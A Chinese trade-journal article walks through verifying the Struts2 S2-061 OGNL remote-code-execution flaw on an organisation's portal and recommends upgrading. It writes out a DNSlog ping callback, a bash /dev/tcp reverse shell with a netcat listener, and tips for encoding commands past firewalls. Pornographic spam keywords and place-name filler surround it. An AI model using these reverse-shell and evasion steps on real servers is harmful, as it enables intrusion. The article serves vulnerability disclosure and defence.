• 
    

    
    

      99热精品在线国产_美女午夜性视频免费_国产精品国产高清国产av_av欧美777_自拍偷自拍亚洲精品老妇_亚洲熟女精品中文字幕_www日本黄色视频网_国产精品野战在线观看

      ?

      基于“Struts2-061”漏洞談網(wǎng)絡(luò)安全問題防范

      2021-08-04 21:47:57孫海波王剛
      中國新通信 2021年8期

      孫海波 王剛

      【摘要】? ? 本文就一起“Struts2-061”網(wǎng)絡(luò)安全漏洞事件,詳細介紹了該漏洞的驗證步驟、原理、修復(fù)方法,如何做好網(wǎng)站的安全漏洞防范,防止黑客利用此漏洞對目標服務(wù)器進行數(shù)據(jù)竊取、篡改、破壞,或植入后門、掛馬等惡意操作。

      【關(guān)鍵詞】? ? 網(wǎng)絡(luò)安全漏洞? ? 遠程代碼執(zhí)行? ? OGNL表達式

      網(wǎng)站的作用越來越大,無論企業(yè)還是個人都離不開網(wǎng)站。網(wǎng)站是由各類網(wǎng)頁集合而成的,而網(wǎng)頁的實質(zhì)就是一個html文件,因而網(wǎng)站是由許多的html文件構(gòu)成的。網(wǎng)站在搭建過程中,需要使用各種各樣的框架,比如Struts、Spring、Hibernate等。不同的應(yīng)用程序框架具有不同的特點,在使用過程中,可能存在不同的安全隱患。

      Struts2是一個基于MVC(Model View Controller,模型視圖控制器)設(shè)計模式的Web應(yīng)用程序框架,它既是Struts1的升級版本,更是一個全新的Struts架構(gòu)。因為Struts2使用MVC設(shè)計模式,該模式中的模型、視圖、控制器三個層次各司其職,所以Struts2框架也面臨一個問題,即用戶數(shù)據(jù)在不同層次流轉(zhuǎn)的問題。為了解決這一問題,提高訪問速度,Struts2框架采用OGNL(Object-Graph Navigation Language,對象圖導(dǎo)航語言)來操作,即Struts 2默認的表達式語言是OGNL,OGNL可以協(xié)助框架用非常簡單的表達式訪問不同的對象層。

      本文就從筆者實際工作中遇到的一起Struts2-061漏洞事件談起,從該漏洞的驗證方法、產(chǎn)生原理、漏洞危害、修復(fù)手段幾個方面出發(fā),全面地介紹Struts2-061漏洞的相關(guān)內(nèi)容,希望能對廣大讀者有所幫助。

      一、事件經(jīng)過

      筆者于2021年1月8日發(fā)現(xiàn)某單位門戶網(wǎng)站存在網(wǎng)絡(luò)安全漏洞,并向該單位進行了通報,漏洞詳細情況如下:漏洞名稱為Struts2-061漏洞;漏洞數(shù)量1個;漏洞等級為高危;漏洞地址為http://192.---.---.133/index.action(“---”代表網(wǎng)站部分URL地址);漏洞描述為,Apache Structs2在使用某些標簽屬性時,可能存在OGNL表達式注入漏洞,從而造成遠程代碼執(zhí)行,目標服務(wù)器被提權(quán),風險極大。

      漏洞驗證前,我們看到該網(wǎng)址后綴為“.action”,則可判斷該網(wǎng)站使用框架為Apache Struts2。Action對象是Struts2框架的核心,每個URL地址都映射到特定的Action對象中,Action對象對來自用戶的請求提供處理邏輯,它有兩個重要功能:一是將用戶請求數(shù)據(jù)傳遞到框架視圖中,二是協(xié)助框架確定響應(yīng)結(jié)果對應(yīng)視圖中的用戶請求。驗證詳細步驟如下。

      1.1對目標網(wǎng)站進行數(shù)據(jù)包抓取

      通過使用burpsuite工具對該網(wǎng)站進行數(shù)據(jù)包抓取,burpsuite工具是用于攻擊、測試web應(yīng)用程序的集成平臺,包含了許多工具,并為這些工具設(shè)計了許多接口,以加快攻擊、測試應(yīng)用程序的過程,能快速處理網(wǎng)站對應(yīng)的HTTP 消息、認證、代理、日志、警報等。抓包結(jié)果如圖1所示。

      1.2修改發(fā)送請求

      我們將響應(yīng)結(jié)果發(fā)送到burpsuite工具的repeater里,并對發(fā)送的數(shù)據(jù)包進行修改。因為我們需要重新發(fā)送請求數(shù)據(jù),所以將請求方式由GET改為POST。數(shù)據(jù)包主要修改兩個內(nèi)容,一是修改Content-Type為常見的POST數(shù)據(jù)內(nèi)容提交類型multipart/form-data,二是修改payload。另外,我們可以看到生成了一條記錄boundary分割線符,其值為----WebKitFormBoundaryl7d1B1aGsV2wcZwF,也就是說我們只要輸入這一值就相當于輸入了一條分割線。具體修改內(nèi)容為:

      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

      空一行

      ------WebKitFormBoundaryl7d1B1aGsV2wcZwF

      Content-Disposition: form-data; name=”id”

      空一行

      (payload)

      ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

      具體payload為:

      1.3用Dnslog.cn網(wǎng)站進行數(shù)據(jù)監(jiān)測

      修改payload中的arglist.add參數(shù)并執(zhí)行,我們使用Dnslog.cn網(wǎng)站進行數(shù)據(jù)監(jiān)測,首先開啟Dnslog,其中4puott.dnslog.cn為Dnslog.cn網(wǎng)站的臨時域名,如圖2所示。

      1.4執(zhí)行修改后的請求數(shù)據(jù)包

      在burpsuite的repeater工具中將arglist.add參數(shù)值改為“ping 4puott.dnslog.cn”,意思表示我們通過目標主機來ping網(wǎng)址4puott.dnslog.cn(Dnslog.cn網(wǎng)站的臨時域名),發(fā)送數(shù)據(jù)包如圖3所示。

      發(fā)送數(shù)據(jù)請求后,我們可以在Dnslog.cn網(wǎng)站上看到有數(shù)據(jù)記錄,證明目標網(wǎng)站執(zhí)行了我們修改的ping 4puott.dnslog.cn命令,也就是實現(xiàn)了遠程代碼執(zhí)行,因而可以證明該網(wǎng)站存在Struts2-061漏洞,如圖4所示。

      1.5對目標服務(wù)器進行端口反彈

      在上一步中已實現(xiàn)了遠程代碼執(zhí)行,那我們就嘗試用nc工具(NetCat,一款網(wǎng)絡(luò)工具,可通過TCP或UDP協(xié)議傳輸讀寫數(shù)據(jù),對服務(wù)器端口進行掃描、監(jiān)聽)進行端口反彈,對目標服務(wù)器進行提權(quán)。保險起見,在執(zhí)行端口反彈命令前,我們先將反彈命令進行編碼加密,這樣可以在一定程度上防止被WAF、防火墻等設(shè)備攔截,編碼網(wǎng)站:http://www.jackson-t.ca/runtime-exec-payloads.html,如圖5所示。

      反彈命令為“/bin/bash -i >& /dev/tcp/175.---.---.240/7777 0>&1”,其中175.---.---.240為我方虛擬專用VPS服務(wù)器的IP地址,7777為監(jiān)聽的端口,編碼后的字符如圖5所示,并將編碼后的字符復(fù)制到payload中的arglist.add參數(shù)里,執(zhí)行發(fā)送數(shù)據(jù)請求,如圖6所示。

      然后在我們的VPS服務(wù)器上(root@miss-vps ~)運行命令“nc –lvnp 7777”,即監(jiān)聽端口7777,如圖7所示。其中nc命令參數(shù)介紹如下:-l指使用監(jiān)聽模式,管控傳入的資料;-v指顯示指令執(zhí)行過程;-n指直接使用IP地址,而不通過域名服務(wù)器;-p<通信端口>指設(shè)置本地主機使用的通信端口。

      1.6端口反彈成功

      在burpsuite工具上執(zhí)行shell命令,并將數(shù)據(jù)反彈至我方VPS服務(wù)器7777端口,我們已成功登陸目標服務(wù)器(root@0a0b2bd89d8f),如圖8所示。至此漏洞驗證結(jié)束,我們未進行深層次操作,可判斷該網(wǎng)站存在遠程代碼執(zhí)行漏洞、存在Struts2-061漏洞。

      二、漏洞原理

      2020年12月,Apache Struts官方披露了編號為S2-061的遠程代碼執(zhí)行漏洞,CVE編號為CVE-2020-17530。Apache Struts2框架是一個用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架,在使用某些標簽時可能存在OGNL表達式注入漏洞的情況,從而造成遠程代碼執(zhí)行,風險極大。

      在Struts2標簽屬性中強制使用OGNL表達式,并可被外部修改時,攻擊者就可以構(gòu)造惡意的OGNL表達式觸發(fā)網(wǎng)絡(luò)安全漏洞。Struts2會對某些標簽屬性(比如`id`,其他屬性未知) 的屬性值進行二次表達式解析,因此當這些標簽屬性中使用了`%{X}`,且`X`的值可被用戶控制修改時,用戶再傳入一個`%{payload}`,即可造成OGNL表達式執(zhí)行。在我們上面提到的漏洞驗證過程中,就是對payload中arglist.add(“id”)進行了修改,將id參數(shù)修改了兩次,一次是修改為“ping 4puott.dnslog.cn”,另一次是修改為端口反彈命令,結(jié)果這兩個修改后的payload都被成功執(zhí)行,進而造成遠程代碼執(zhí)行。

      Struts2-061漏洞正是利用了這一弱點,可造成遠程代碼執(zhí)行,進而達到攻擊者控制目標服務(wù)器的目的。

      三、修復(fù)方法

      對于Struts2-061漏洞,我們應(yīng)該及時升級Struts2版本。目前官方已在新版本中修復(fù)了該漏洞,升級到Struts 2.5.26及更高版本便可修復(fù)Struts2-061漏洞,下載地址:https://struts.apache.org/download.cgi。另外,在升級前應(yīng)做好數(shù)據(jù)備份工作,避免出現(xiàn)意外情況。

      四、結(jié)束語

      這次發(fā)現(xiàn)的Struts2-061漏洞,是利用了攻擊者再傳入一個`%{payload}`,即可造成OGNL表達式執(zhí)行,導(dǎo)致遠程代碼執(zhí)行,目標服務(wù)器被控制,網(wǎng)站很容易被植入后門。2020年上半年,境內(nèi)外約1.8萬個IP地址對我國境內(nèi)約3.59萬個網(wǎng)站植入后門,我國境內(nèi)被植入后門的網(wǎng)站數(shù)量較2019年上半年增長36.9%[1]。

      對網(wǎng)站的安全防護是一個長期性的工作,沒有捷徑可走。除了定期對網(wǎng)站進行網(wǎng)絡(luò)安全漏洞掃描外,技術(shù)人員平時還要多關(guān)注網(wǎng)絡(luò)安全訊息,以避免自己網(wǎng)站存在漏洞被攻陷。這就要求我們要多了解、多學(xué)習(xí)、與時俱進,不斷提升自己的技術(shù)水平,以高度的責任心做好網(wǎng)絡(luò)安全防護工作。

      三江| 云林县| 湟源县| 庄河市| 静宁县| 富裕县| 辽阳县| 敦化市| 靖宇县| 壶关县| 闵行区| 齐齐哈尔市| 清水河县| 久治县| 拜泉县| 哈尔滨市| 达拉特旗| 庆阳市| 根河市| 鹰潭市| 卓尼县| 库尔勒市| 如皋市| 垦利县| 五河县| 香港 | 南通市| 琼海市| 乌恰县| 平果县| 九龙坡区| 攀枝花市| 浦北县| 雷波县| 和顺县| 江孜县| 嫩江县| 南华县| 福安市| 浦北县| 凌云县|